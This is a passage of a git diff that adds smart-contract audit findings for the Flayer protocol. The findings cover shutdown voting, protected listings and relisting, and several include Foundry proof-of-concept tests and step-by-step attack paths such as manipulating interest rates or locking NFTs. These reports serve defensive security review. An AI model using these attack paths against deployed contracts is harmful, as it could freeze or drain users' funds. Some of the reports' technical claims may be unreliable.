+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+ }
+```
\ No newline at end of file
diff --git a/001/656.md b/001/656.md
new file mode 100644
index 0000000..95e24b5
--- /dev/null
+++ b/001/656.md
@@ -0,0 +1,53 @@
+Wonderful Cinnabar Llama
+
+High
+
+# The total supply of collection tokens will be decreased more and more.
+
+## Summary
+`ProtectedListings::unlockProtectedListing()` burn more than `1 ether` of collection tokens per 1 NFT.
+Therefore, the total supply of collection tokens will be decreased more and more compared to the number of NFT holdings.
+
+## Vulnerability Detail
+Assume that denomination of collection is 1 for simplicity. The code of `ProtectedListings::unlockProtectedListing()` is the following.
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // Ensure this is a protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Ensure the caller owns the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ if (collateral < 0) revert InsufficientCollateral();
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint denomination = collectionToken.denomination();
+ uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;
+
+ // Repay the loaned amount, plus a fee from lock duration
+ uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+305 collectionToken.burnFrom(msg.sender, fee);
+
+ // We need to burn the amount that was paid into the Listings contract
+308 collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+
+ ... SKIP ...
+ }
+```
+The burnt amount of collection token in `L305` and `L308` is larger than `1 ether` while withdrawing 1 NFT. Therefore, the total supply of collection tokens will be decreased whenever protected listings are unlocked.
+
+## Impact
+As the total supply of collection tokens is decreased, the price of NFT represented by collection token will fail. Then some listing NFTs will be priced lower than `1 ether`. Therefore, some NFTs will not be listed in the `Listings.sol`. This means that the protocol become useless for some NFTs.
+
+## Code Snippet
+- [ProtectedListings::unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L329)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Burn only `1 ether` of collection tokens per 1 NFT.
diff --git a/001/659.md b/001/659.md
new file mode 100644
index 0000000..bc006db
--- /dev/null
+++ b/001/659.md
@@ -0,0 +1,152 @@
+Brilliant Hickory Tiger
+
+Medium
+
+# User is Unable to Reclaim Vote After Collection Shutdown is Canceled
+
+### Summary
+
+The improper vote reclamation logic in `CollectionShutdown.sol` causes the inability to reclaim staked votes for users, as the contract fails to release the votes when a shutdown is canceled. This results in users losing access to their tokens for an indefinite period.
+
+### Root Cause
+
+- In [`CollectionShutdown.sol:369`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L369), the deletion of the user's vote from the collection shutdown votes is not necessary when the collection shutdown is canceled, leading to the inability to reclaim staked votes.
+- In [`CollectionShutdown.sol:373`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L373), the collection token address retrieved from `_collectionParams[_collection]` where it has been removed in the cancellation process in [`CollectionShutdown.sol:403`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L403).
+
+### Internal pre-conditions
+
+1. The total supply of the collection’s tokens is at most the threshold required to initiate a shutdown.
+2. A collection token owner must call `CollectionShutdown.start()` to start the shutdown vote and set the `_collectionParams`.
+3. The amount of shutdown votes must meet the quorum requirement, putting the shutdown process in the `canExecute` state.
+4. After the vote starts, the total supply of collection tokens exceeds the shutdown threshold (e.g., when additional tokens are minted).
+5. A user must call `CollectionShutdown.cancel()` to stop the shutdown and delete `_collectionParams`.
+
+### External pre-conditions
+
+No external pre-conditions required.
+
+### Attack Path
+
+1. User A votes to shut down a collection by calling `CollectionShutdown.start()` and staking their tokens. With 50% of the token total supply, the shutdown enters the `canExecute` state.
+2. Another user mints additional tokens, increasing the total supply beyond the shutdown threshold, which allows the shutdown to be canceled.
+3. User A attempts to reclaim their staked votes by calling `CollectionShutdown.reclaimVote()` after the shutdown is canceled, but the transaction reverts.
+
+### Impact
+
+Users experience an inability to reclaim staked tokens used in the shutdown vote. This leads to the following potential consequences:
+
+- Temporary loss of funds, though they may eventually be reclaimable as ETH value if the collection is fully liquidated. Also, the user can reclaim their tokens if other users vote the same amount in the next shutdown attempt, potentially shifting the issue to others.
+- Loss of governance power, as the locked votes are excluded from future governance decisions.
+- If the locked votes exceed the quorum requirement, future shutdowns could be blocked, creating a more significant governance issue.
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+import {Deployers} from '@uniswap/v4-core/test/utils/Deployers.sol';
+
+import {CollectionShutdown, ICollectionShutdown} from '@flayer/utils/CollectionShutdown.sol';
+import {ICollectionToken} from '@flayer-interfaces/ICollectionToken.sol';
+
+import {FlayerTest} from '../lib/FlayerTest.sol';
+import {ERC721Mock} from '../mocks/ERC721Mock.sol';
+
+
+contract CollectionShutdownPoCTest is Deployers, FlayerTest {
+ /// Store our {CollectionToken}
+ ICollectionToken collectionToken;
+
+ constructor () forkBlock(19_425_694) {
+ // Deploy our platform contracts
+ _deployPlatform();
+
+ // Define our `_poolKey` by creating a collection. This uses `erc721b`, as `erc721a`
+ // is explicitly created in a number of tests.
+ locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
+
+ // Initialize our collection, without inflating `totalSupply` of the {CollectionToken}
+ locker.setInitialized(address(erc721b), true);
+
+ // Set our collection token for ease for reference in tests
+ collectionToken = locker.collectionToken(address(erc721b));
+
+ // Approve our shutdown contract to use test suite's tokens
+ collectionToken.approve(address(collectionShutdown), type(uint).max);
+ }
+
+ function testPOC_CannotReclaimVoteAfterCollectionShutdownCanceled() public {
+ // Mint collection token for address 1 and 2
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(1), 2 ether);
+ collectionToken.mint(address(2), 2 ether);
+ vm.stopPrank();
+
+ // Start our vote from address(1)
+ vm.startPrank(address(1));
+ collectionToken.approve(address(collectionShutdown), 2 ether);
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+ // Address 2 mint more collection token
+ vm.prank(address(locker));
+ collectionToken.mint(address(2), 1 ether);
+
+ // Now, collection shutdown can be caneled since the total supply > 4 eth
+ vm.prank(address(locker));
+ collectionShutdown.cancel(address(erc721b));
+ // Checks that shutdownParams has been deleted along with its shutdownVotes
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParams = collectionShutdown.collectionParams(address(erc721b));
+ assertEq(shutdownParams.shutdownVotes, 0);
+ // While address 1 voted token amount in the contract and h
+ assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(1)), 2 ether);
+ assertEq(collectionToken.balanceOf(address(collectionShutdown)), 2 ether);
+
+ // Address 1 will not be able to reclaim vote
+ vm.expectRevert(); // [Revert] panic: arithmetic underflow or overflow (0x11)
+ vm.prank(address(1));
+ collectionShutdown.reclaimVote(address(erc721b));
+
+ // This vote amount is stale in the contract,
+ // If collection shutdown started again, address(1) vote is not accountable in quorum and,
+ // if he reclaim his vote (only if another user vote an amount >= address(1) vote) another user will suffer
+ // Which generate another issue that can be used to prevent a collection from being shutdown,
+ // this can happen only if the stuck amount in collectionShutdown is more than the quorum vote requirement.
+ }
+}
+```
+
+### Mitigation
+
+To resolve the issue, update the `CollectionShutdown.reclaimVote()` function to allow users to retrieve their staked tokens even after a collection shutdown is canceled.
+
+```diff
+diff --git a/flayer/src/contracts/utils/CollectionShutdown.sol b/flayer/src/contracts/utils/CollectionShutdown.sol
+index 2442e70..ae0e893 100644
+--- a/flayer/src/contracts/utils/CollectionShutdown.sol
++++ b/flayer/src/contracts/utils/CollectionShutdown.sol
+@@ -366,11 +366,17 @@ contract CollectionShutdown is ICollectionShutdown, Ownable, Pausable, Reentranc
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+- params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+-
+- // We can now return their tokens
+- params.collectionToken.transfer(msg.sender, userVotes);
++ if (params.shutdownVotes > 0) {
++ params.shutdownVotes -= uint96(userVotes);
++
++ // We can now return their tokens
++ params.collectionToken.transfer(msg.sender, userVotes);
++ } else {
++ // In case collection shutdown is canceled,
++ // we retrieve tokens to user.
++ locker.collectionToken(_collection).transfer(msg.sender, userVotes);
++ }
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+(END)
+```
\ No newline at end of file
diff --git a/001/667.md b/001/667.md
new file mode 100644
index 0000000..9ab8a36
--- /dev/null
+++ b/001/667.md
@@ -0,0 +1,114 @@
+Brilliant Hickory Tiger
+
+High
+
+# Governance Deadlock Due to Exclusion of Locked Votes in Future Collection Shutdown Attempts
+
+### Summary
+
+The improper handling of locked votes in `CollectionShutdown.sol` causes a governance deadlock, where future shutdown votes are blocked if the number of locked votes exceeds the quorum requirement. This occurs when users do not reclaim their votes after a canceled shutdown (which they can't in the current implementation), leading to an accumulation of unaccounted-for votes that prevents the successful execution of future shutdown attempts. Even if users can reclaim, they may avoid reclaiming their votes and re-vote if this process is burdensome, further exacerbating the issue.
+
+### Root Cause
+
+- In [`CollectionShutdown.sol:403`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L403), the `_collectionParams` are deleted when a shutdown is canceled, which causes the staked votes to remain in the contract without being considered in future shutdown attempts.
+- When a new shutdown is initiated, the contract does not factor in the locked votes from previous shutdown attempts, leading to an artificial inflation of the quorum requirement and blocking future shutdowns if the locked votes exceed the quorum threshold.
+
+### Internal pre-conditions
+
+1. A user with collection token balance must call `CollectionShutdown.start()` to initiate the shutdown process and set the `_collectionParams`.
+2. The total supply of collection tokens must meet or exceed the threshold required to start the shutdown vote.
+3. Users must stake their tokens in support of the shutdown, and the total number of votes cast must reach the quorum threshold, allowing the shutdown to enter the `canExecute` state.
+4. The shutdown process must be canceled by calling `CollectionShutdown.cancel()`, without users reclaiming their previously staked votes.
+5. A subsequent shutdown attempt must be initiated with locked votes still present in the contract from the previous shutdown attempt.
+
+### External pre-conditions
+
+No external pre-conditions required.
+
+### Attack Path
+
+1. User A votes to shut down a collection by calling `CollectionShutdown.start()` and staking their tokens. The shutdown enters the `canExecute` state after reaching the quorum.
+2. Another user mints additional tokens, increasing the total supply beyond the shutdown threshold, which allows the shutdown to be canceled.
+3. User A does not reclaim their staked votes after the shutdown is canceled, leaving their tokens locked in the contract.
+4. A new shutdown process is initiated by another user, but the staked votes from User A are not counted towards the new votes amount.
+5. The new shutdown fails because the total locked votes exceed the required quorum, effectively blocking future shutdown attempts unless users reclaim and restake their votes (which they can't in the current implementation).
+
+### Impact
+
+The exclusion of previously staked votes in future shutdown processes leads to a governance deadlock, with the following potential consequences:
+
+- Inability to execute future shutdowns if the locked votes exceed the quorum requirement, as the votes calculation will not considering the locked votes from the old shutdown attempts.
+- The deadlock creates an ongoing governance issue that can prevent the proper execution of shutdown votes, effectively freezing the collection and preventing important decisions from being made.
+- Malicious users could intentionally lock votes to prevent future shutdowns, effectively manipulating governance processes.
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+import {Deployers} from '@uniswap/v4-core/test/utils/Deployers.sol';
+import {CollectionShutdown, ICollectionShutdown} from '@flayer/utils/CollectionShutdown.sol';
+import {ICollectionToken} from '@flayer-interfaces/ICollectionToken.sol';
+import {FlayerTest} from '../lib/FlayerTest.sol';
+import {ERC721Mock} from '../mocks/ERC721Mock.sol';
+
+contract CollectionShutdownGovernanceDeadlockPoCTest is Deployers, FlayerTest {
+ ICollectionToken collectionToken;
+
+ constructor () forkBlock(19_425_694) {
+ _deployPlatform();
+ locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
+ locker.setInitialized(address(erc721b), true);
+ collectionToken = locker.collectionToken(address(erc721b));
+ collectionToken.approve(address(collectionShutdown), type(uint).max);
+ }
+
+ function testPOC_GovernanceDeadlockDueToLockedVotes() public {
+ // Mint tokens and start vote
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(1), 3 ether);
+ collectionToken.mint(address(2), 1 ether);
+ vm.stopPrank();
+
+ // User A votes to shut down the collection
+ vm.startPrank(address(1));
+ collectionToken.approve(address(collectionShutdown), 3 ether);
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+ // More tokens minted, allowing shutdown to be canceled
+ vm.prank(address(locker));
+ collectionToken.mint(address(2), 1 ether);
+ vm.prank(address(locker));
+ collectionShutdown.cancel(address(erc721b));
+
+ // No vote reclamation from address(1), votes remain locked
+ vm.startPrank(address(1));
+ vm.expectRevert(); // This will revert due to locked votes not being reclaimable
+ collectionShutdown.reclaimVote(address(erc721b));
+ vm.stopPrank();
+
+ // Start a new shutdown vote, but previous locked votes are ignored
+ vm.startPrank(address(2));
+ // Burn to meet the shutdown the threshold required
+ collectionToken.burn(1 ether);
+ // Restart shutdown process
+ collectionToken.approve(address(collectionShutdown), 1 ether);
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+ // Check that CollectionShutdown contract has all token total supply
+ assertEq(collectionToken.balanceOf(address(collectionShutdown)), collectionToken.totalSupply());
+
+ // Governance deadlock: shutdown can't reach quorum due to locked votes
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParams = collectionShutdown.collectionParams(address(erc721b));
+ assertEq(shutdownParams.canExecute, false);
+ // The shutdown will fail as locked votes are not considered in the new shutdown votes accounting
+ }
+}
+```
+
+### Mitigation
+
+To resolve this issue, update the logic in `CollectionShutdown.start()` to account for previously staked votes when calculating the shutdown votes for a new shutdown process. The contract should either automatically include the locked votes from previous shutdowns in the new calculation or provide users with a streamlined process to reclaim and restake their votes.
\ No newline at end of file
diff --git a/001/669.md b/001/669.md
new file mode 100644
index 0000000..0dfb59f
--- /dev/null
+++ b/001/669.md
@@ -0,0 +1,45 @@
+Noisy Carmine Starling
+
+High
+
+# only need to pay taxes to lock any NFT
+
+### Summary
+
+The relist function is used to relist an nft, but anyone can lock the nft
+
+### Root Cause
+
+in Listings.sol relist function , does not perform sufficient checks on _listing, it just check owner ,floorMultiple
+```solidity
+if (listing.owner == address(0)) revert ListingOwnerIsZero();
+ if (listing.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(listing.floorMultiple);
+ if (listing.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(listing.floorMultiple, MAX_FLOOR_MULTIPLE);
+ Enums.ListingType listingType = getListingType(_listing.listing);
+ if (listingType == Enums.ListingType.DUTCH) {
+ if (listing.duration < MIN_DUTCH_DURATION) revert ListingDurationBelowMin(listing.duration, MIN_DUTCH_DURATION);
+ if (listing.duration > MAX_DUTCH_DURATION) revert ListingDurationExceedsMax(listing.duration, MAX_DUTCH_DURATION);
+
+ } else if (listingType == Enums.ListingType.LIQUID) {
+```
+, This will cause _listing.created to be passed in to any vaule,
+and in _resolveListingTax function
+```solidity
+function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ ...
+ // Get the amount of tax to be refunded. If the listing has already ended
+ // then no refund will be offered.
+ if (block.timestamp < _listing.created + _listing.duration) {
+ refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+```
+The attacker passes in a malicious _listing.created value, result in block.timestamp - _listing.created always fail, Any function with _resolveListingTax function cannot be used, include reserve, relist, fillListings, cancelListings, modifyListings
+
+
+### Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L262
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625
+### Impact
+
+any NFT can be locked , and cannt withdraw
diff --git a/001/670.md b/001/670.md
new file mode 100644
index 0000000..3d3ea85
--- /dev/null
+++ b/001/670.md
@@ -0,0 +1,105 @@
+Unique Inky Puppy
+
+Medium
+
+# Collections that were previously shutdown `cannot` be shutdown again.
+
+## Summary
+When a collection that has been previously shutdown becomes illiquid, this collection can never be removed as again as vital state variables used during shutdown are not properly erased,
+leading to the pool becoming unusable.
+
+## Vulnerability Detail
+In Flayer, When a collection is illiquid and we have a disperate number of tokens spread across multiple users, a pool has the potential to become unusable. For this reason, we use this `CollectionShutdown.sol` as a method of winding down the collection and dispersing the ETH value of the remaining assets to the dust token holders.
+The process begins with [start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157) this function begins the shutdown process, holders of the collection tokens vote using [_vote()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L191-L214) once quorum is reached the contract owner uses [execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) to complete the shutdown process, `execute()` sells the remaining NFTs and distribute the value to all the remaining holders.
+
+[start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157)
+```solidity
+ function start(address _collection) public whenNotPaused {
+ // Confirm that this collection is not prevented from being shutdown
+ if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+
+
+ // Ensure that a shutdown process is not already actioned
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+
+
+ // Get the total number of tokens still in circulation, specifying a maximum number
+ // of tokens that can be present in a "dormant" collection.
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+
+ // Set our quorum vote requirement
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+
+
+ // Notify that we are processing a shutdown
+ emit CollectionShutdownStarted(_collection);
+
+
+ // Cast our vote from the user
+ _collectionParams[_collection] = _vote(_collection, params);
+ }
+```
+
+[locker::createCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L2990) is used to added new collection to the protocol, this function can be called by anyone to add any verified NFT to the protocol, this two functions above constitute a circle of addition of relevant and removal of irrelevant tokens throughout the lifespan of the protocol. Therefore it is fair to assume that previously shutdown collections can be added again once relevant.
+```solidity
+ function createCollection(address _collection, string calldata _name, string calldata _symbol, uint _denomination) public whenNotPaused returns (address) {
+ // Ensure that our denomination is a valid value
+ if (_denomination > MAX_TOKEN_DENOMINATION) revert InvalidDenomination();
+
+
+ // Ensure the collection does not already have a listing token
+ if (address(_collectionToken[_collection]) != address(0)) revert CollectionAlreadyExists();
+
+
+ // Validate if a contract does not appear to be a valid ERC721
+ if (!IERC721(_collection).supportsInterface(0x80ac58cd)) revert InvalidERC721();
+
+
+ // Deploy our new ERC20 token using Clone. We use the impending ID
+ // to clone in a deterministic fashion.
+ ICollectionToken collectionToken_ = ICollectionToken(
+ LibClone.cloneDeterministic(tokenImplementation, bytes32(_collectionCount))
+ );
+ _collectionToken[_collection] = collectionToken_;
+
+
+ // Initialise the token with variables
+ collectionToken_.initialize(_name, _symbol, _denomination);
+
+
+ // Registers our collection against our implementation
+ implementation.registerCollection({
+ _collection: _collection,
+ _collectionToken: collectionToken_
+ });
+
+
+ // Increment our vault counter
+ unchecked { ++_collectionCount; }
+
+
+ emit CollectionCreated(_collection, address(collectionToken_), _name, _symbol, _denomination, msg.sender);
+ return address(collectionToken_);
+ }
+```
+
+The `issue` here is that after the removal of an illiquid collection the variable [CollectionShutdownParams.shutdownVotes](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/utils/ICollectionShutdown.sol#L43-L44) of the collection is not reset back to zero and as `CollectionShutdown.sol` uses only the collection address to reference each collection, the `re-added` collection cannot be removed again as [start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157) will always revert [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L141).
+
+```solidity
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+```
+
+
+## Impact
+Re-added collections that become illiquid cannot be removed, potentially making the pool unusable and trapping users' dust amounts.
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+`CollectionShutdown.sol` claim functions should reset the `CollectionShutdownParams` values after all the ETH under the collection has been claimed to ensure that re-added collections can be removed effectively.
\ No newline at end of file
diff --git a/001/671.md b/001/671.md
new file mode 100644
index 0000000..c5792cd
--- /dev/null
+++ b/001/671.md
@@ -0,0 +1,95 @@
+Spare Infrared Gerbil
+
+High
+
+# Users can manipulate interest rate using their protected listings
+
+### Summary
+
+Interest rate can be manipulated using protected listing. This can
+- cause users to pay more interest on their position
+- force positions into early liquidation
+
+
+This will happen _faster_ with low liquidity collections. Also the attack is checap because the fees on such small amount (explained below) will be negligibly small
+
+### Root Cause
+
+Because users can create protected listing with a specified `tokenTaken` as low as 1 wei and [tiny fees will be burnt](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L304-L305) on such amounts during unlocking
+
+```solidity
+File: ProtectedListings.sol
+287: function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+SNIP .............
+302:
+303: // Repay the loaned amount, plus a fee from lock duration
+304: uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination; // full debt
+305: @> collectionToken.burnFrom(msg.sender, fee); // @audit 2) tiny amount will be burnt if significantly small amount is used for listing.tokenTaken
+306:
+307: // We need to burn the amount that was paid into the Listings contract @audit 4) even the amount burned is calculated wrong
+308: @> collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+SNIP ........
+312:
+329: }
+```
+
+
+The problem is that with such low amounts and considering that [a huge amount of tokens will be burnt](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L307-L308) on repayment as shown on L308 above, the [`utilizationRate` (UR)](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L271-L274) as shown below will increase because more token will be taken out of supply reducing the `collectionToken.totalSupply()`.
+
+For context, the amount burnt for each 1 wei protectedd listing during repayment is
+
+```javascript
+(1 ether - tokenTaken) * 10 ** denomination
+= (1 ether - 1) * 10 ** denomination
+999,999,999,999,999,999 * 10 ** denomination
+```
+
+
+
+```solidity
+File: ProtectedListings.sol
+261: function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+262: // Get the count of active listings of the specified listing type
+263: listingsOfType_ = listingCount[_collection];
+SNIP ..........
+
+270: // If we have no totalSupply, then we have a zero percent utilization
+271: @> uint totalSupply = collectionToken.totalSupply();
+272: @> if (totalSupply != 0) {
+273: @> utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply; // @audit 24) create/unlock continuously to ensure totalSupply is reduced so that the UR can be inflated
+274: }
+275: }
+276: }
+
+```
+This will increase the interest rates of the Protected listings possibly forcing some users into liquidation.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+A user can
+- create a protected list listing with the `tokenTaken` = 1 wei of the collection token
+- immediately repay the listing so that the amount of tokens burnt will be very large reducing the `totalSupply()` of the collection token and by extension increasing the `utilizationRate` (UR) of the token
+- Repeat the two steps above continuosly and UR increases thus inflating the interest rate
+
+### Impact
+
+ This can
+- cause users to pay more interest on their position
+- force poistions into early liquidation
+- burn all the balance of the collection token in the `ProtectedListing` contract
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider raising the amount of protected listing that can be borrowed
\ No newline at end of file
diff --git a/001/673.md b/001/673.md
new file mode 100644
index 0000000..57874c8
--- /dev/null
+++ b/001/673.md
@@ -0,0 +1,51 @@
+Uneven Burlap Dalmatian
+
+Medium
+
+# User is not able to repay his ```ProtectedPosition``` when the ```Locker``` contract is paused leading to unwanted interest accumulated.
+
+### Summary
+
+The ```lockerNotPaused``` modifier in ```ProtectedListings::adjustPosition()``` prevents users from repaying their positions when the locker is paused and this leads to unwanted interest accumulated while it is not their fault.
+
+### Root Cause
+
+In ```ProtectedListings::adjustPosition()``` and ```ProtectedListings::unlockProtectedListing()```, there is a ```lockerNotPaused``` modifier will prevent any repaying action by the lister from happening. Let's examine these functions :
+```solidity
+@> function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // ...
+ }
+
+@> function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ // ...
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L287)
+
+These two function are crucial for the "borrower" to be able to repay his debt before it accumulates more. However, he is forced to take more and more debt, eventually leading to his ```liquidation``` when the locker got unpaused.
+
+### Internal pre-conditions
+
+1. Owner needs to pause ```Locker``` contract.
+
+### External pre-conditions
+
+1. Lister has to have created a ```ProtectedListing```.
+
+### Attack Path
+
+1. Firstly, a user creates a ```ProtectedListing``` through ```createListings()``` function.
+2. Then, owner has to pause ```Locker``` contract.
+3. Now, user needs and wants to repay but he is not able to so the interest in his ```ProtectedListing``` is accumulated.
+
+### Impact
+
+The impact of this vulnerability is critical since it will force a lister to overpay for his ```ProtectedListing``` and with time to be passing more and more. After the unpause, he will have two options, either repay the full amount (with this that accrued without his fault) or got his token lost and liquidated. In any case, it results in unwanted and unintended scenarios for both user and protocol.
+
+### PoC
+
+No PoC needed.
+
+### Mitigation
+
+To mitigate this vulnerability successfully, consider allowing repayments (partial and full) even if the ```Locker``` is paused.
\ No newline at end of file
diff --git a/001/675.md b/001/675.md
new file mode 100644
index 0000000..61be0ec
--- /dev/null
+++ b/001/675.md
@@ -0,0 +1,39 @@
+Muscular Pebble Walrus
+
+Medium
+
+# Overflow in `params.quorumVotes` while shutdown of a collection
+
+## Summary
+Overflow in `params.quorumVotes` while shutdown of a collection
+
+## Vulnerability Detail
+When a collection is sunset, it calculates the quorumVotes ie votes required to shutdown the collection. It is calculated using totalSupply of the collection.
+```solidity
+ function start(address _collection) public whenNotPaused {
+//
+ // Get the total number of tokens still in circulation, specifying a maximum number
+ // of tokens that can be present in a "dormant" collection.
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+ // Set our quorum vote requirement
+> params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+//
+ }
+```
+
+Problem is quorumVotes is uint88 while totalSupply is uint256. So when collectionToken will have denomination of 9, it will overflow the quorumVotes. Lets see how, assume denomination = 9 & 4 NFTs are deposited. therefore totalSupply of collectionToken is 4e27. quorumVotes will be 2e27 but it can't handle such big number, leading to overflow.
+
+## Impact
+quorumVotes will be much less than actual
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135C4-L158C1
+
+## Tool used
+Manual Review
+
+## Recommendation
+Use safeCast library or consider using uint256 for quorumVotes also
\ No newline at end of file
diff --git a/001/684.md b/001/684.md
new file mode 100644
index 0000000..8bce6dc
--- /dev/null
+++ b/001/684.md
@@ -0,0 +1,68 @@
+Shiny Glass Hare
+
+Medium
+
+# Overflow in CollectionShutdown vote function can prevent collection shutdown
+
+## Summary
+
+The `_vote` function in the `CollectionShutdown` contract is vulnerable to an integer overflow when adding user votes to the total `shutdownVotes`. This can potentially reset the vote count and prevent a collection from ever reaching the shutdown threshold.
+
+
+## Vulnerability Detail
+
+In the `_vote` function, user votes are added to the total `shutdownVotes` using:
+
+```solidity
+ function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+
+ // Pull our tokens in from the user
+ params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+
+ // Register the amount of votes sent as a whole, and store them against the user
+ params.shutdownVotes += uint96(userVotes);
+```
+
+This is vulnerable to overflow because:
+1. `shutdownVotes` is cast to a `uint96`.
+2. There's no check to ensure the addition doesn't overflow.
+3. Solidity doesn't inherently protect against overflows in this scenario.
+
+For tokens with a high denomination (e.g., 9 decimal places), it's feasible to accumulate enough votes to cause an overflow. The maximum value of a `uint96` can be reached with tokens that have a high total supply or denomination.
+
+Test:
+```solidity
+ function test_voteOverflow() public withDistributedCollection {
+ // Make our initial vote whilst holding 1 ether of tokens
+ collectionShutdown.vote(address(erc721b));
+
+ vm.prank(address(locker));
+ collectionToken.mint(address(this), 79228162514264337593543950336+1);
+
+ // Make our additional vote
